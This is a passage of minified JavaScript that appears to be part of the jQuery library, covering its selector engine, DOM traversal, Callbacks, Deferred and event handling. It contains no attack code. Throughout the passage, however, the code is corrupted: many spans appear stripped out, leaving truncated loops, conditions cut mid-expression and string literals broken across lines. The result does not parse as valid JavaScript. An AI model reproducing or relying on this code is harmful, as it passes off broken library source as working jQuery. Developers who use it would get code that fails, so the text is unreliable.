"+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a); +}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S),a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function 